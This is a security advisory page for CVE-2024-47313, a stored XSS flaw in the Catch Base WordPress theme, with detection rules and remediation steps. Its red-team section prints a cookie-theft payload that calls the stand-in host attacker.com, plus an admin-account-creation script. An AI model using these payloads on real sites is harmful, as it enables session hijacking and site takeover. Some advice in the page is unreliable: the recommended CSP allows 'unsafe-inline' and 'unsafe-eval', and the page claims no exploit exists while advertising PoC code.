CVE-2024-47313
Executive Summary
CVE-2024-47313 is a Stored Cross-Site Scripting (XSS) vulnerability in the Catch Base WordPress theme by Catchthemes, affecting versions up to and including 3.4.6. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages, which is then stored and executed in the browsers of other users (including administrators). The vulnerability arises from improper neutralization of user-supplied input during web page generation. Given the WordPress ecosystem context, this can lead to session hijacking, defacement, or privilege escalation within the WordPress admin panel. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users should verify the integrity of their theme files and monitor for updates from Catchthemes. Since no patch exists, the supply chain risk is elevated for sites running the affected version.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated user with contributor role
- User Interaction: Required (UI:R) – victim must visit a page containing the payload
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of content
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature in a widely-used WordPress theme could enable targeted attacks against site administrators, potentially leading to full site compromise.
Deep Dive & Mechanics
The vulnerability exists in the Catch Base theme's handling of user-generated content, likely in customizer options, widget areas, or post/page content fields. The theme fails to sanitize or escape output when rendering certain inputs, allowing an attacker to inject malicious HTML/JavaScript. Since the input is stored in the database (e.g., in post meta or theme mods), the payload executes every time a user views the affected page.
Attack Flow:
- Attacker authenticates with a contributor-level account.
- Attacker crafts a malicious payload (e.g.,
<script>alert('XSS')</script>) and submits it via a vulnerable input field (e.g., a customizer setting or widget text). - The payload is stored in the WordPress database without proper sanitization.
- When an administrator or other user visits the page that renders this input, the script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or inject admin-level JavaScript.
Root Cause: The theme likely uses echo or the_* functions without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes in WordPress themes.
Vulnerable Code (example from a theme file, e.g., functions.php or customizer.php):
<?php
// Vulnerable: directly outputs user input without escaping
echo get_theme_mod('catch_base_custom_text');
?>
Patched Code (recommended fix):
<?php
// Patched: escape output using WordPress functions
echo esc_html(get_theme_mod('catch_base_custom_text'));
?>
Additional Fixes:
- Use
wp_kses_post()for rich text fields that require HTML. - Validate input on save using
sanitize_text_field()orwp_kses(). - Ensure all theme template files use proper escaping when rendering dynamic content.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress site running Catch Base theme <= 3.4.6
- Valid user account with contributor role or higher
Step-by-Step Exploitation:
- Log in to WordPress as a contributor.
- Navigate to Appearance > Customize or a vulnerable widget area.
- In a text field (e.g., "Footer Text" or "Custom CSS"), inject the following payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the changes.
- Wait for an administrator to visit the affected page (e.g., homepage or footer area).
- The admin's session cookie is sent to the attacker's server.
Alternative Payload (Admin User Creation):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&_wpnonce=<valid_nonce>&user_login=attacker&email=attacker@example.com&role=administrator');
</script>
Note: This requires knowledge of a valid nonce, which can be extracted from the admin page.
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress admin logs for unusual changes to theme mods or widget content.
- Use a Web Application Firewall (WAF) to block common XSS patterns (e.g.,
<script>,onerror=,javascript:). - Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit user roles and remove unnecessary contributor accounts.
Honeypot Setup:
- Deploy a decoy WordPress site with the vulnerable theme and monitor for XSS payload submissions.
- Use a custom plugin to log all
update_option_*andupdate_post_metacalls for theme-related options.
Indicators of Compromise (IOCs)
- File Hashes (MD5): (Example – actual hashes depend on payload)
e99a18c428cb38d5f260853678922e03(malicious script injected into theme options)
- Network Indicators:
- Outbound HTTP requests to unknown domains containing
?cookie=or?data=parameters. - Unusual
POSTrequests to/wp-admin/admin-ajax.phpwith non-standard actions.
- Outbound HTTP requests to unknown domains containing
- Log Entries:
- WordPress debug log entries showing
wp_redirectorwp_diecalls from theme files. - Apache/Nginx access logs with
%3Cscript%3Ein the request URI.
- WordPress debug log entries showing
- Database Indicators:
- Rows in
wp_optionstable withoption_namecontainingtheme_mods_catch-baseandoption_valuecontaining<script>tags. - Rows in
wp_postmetawithmeta_keyrelated to theme custom fields andmeta_valuecontaining JavaScript.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2024_47313_Catch_Base_XSS {
meta:
description = "Detects stored XSS payloads in Catch Base theme options"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-47313"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$theme_option = /theme_mods_catch-base/
condition:
$theme_option and $xss_payload
}
Sigma Rule
title: Stored XSS in Catch Base Theme Options
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WordPress Catch Base theme options
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # WordPress option update event
OptionName|contains: 'theme_mods_catch-base'
OptionValue|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in theme customizer (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47313 Catch Base Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"theme_mods_catch-base"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the theme: If a patched version becomes available, update immediately. Currently, no patch exists.
- Disable the theme: Switch to a different, actively maintained WordPress theme.
- Remove vulnerable features: If disabling is not possible, manually edit theme files to add output escaping (see patched code example).
- Restrict user roles: Limit contributor and author accounts to trusted users only.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';" - Regularly audit WordPress themes and plugins for known vulnerabilities.
- Use a security plugin (e.g., Wordfence) to monitor for file changes and malicious activity.
Vendor Communication:
- Monitor the Catchthemes website and WordPress theme repository for updates.
- If no patch is released, consider forking the theme and applying fixes internally.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.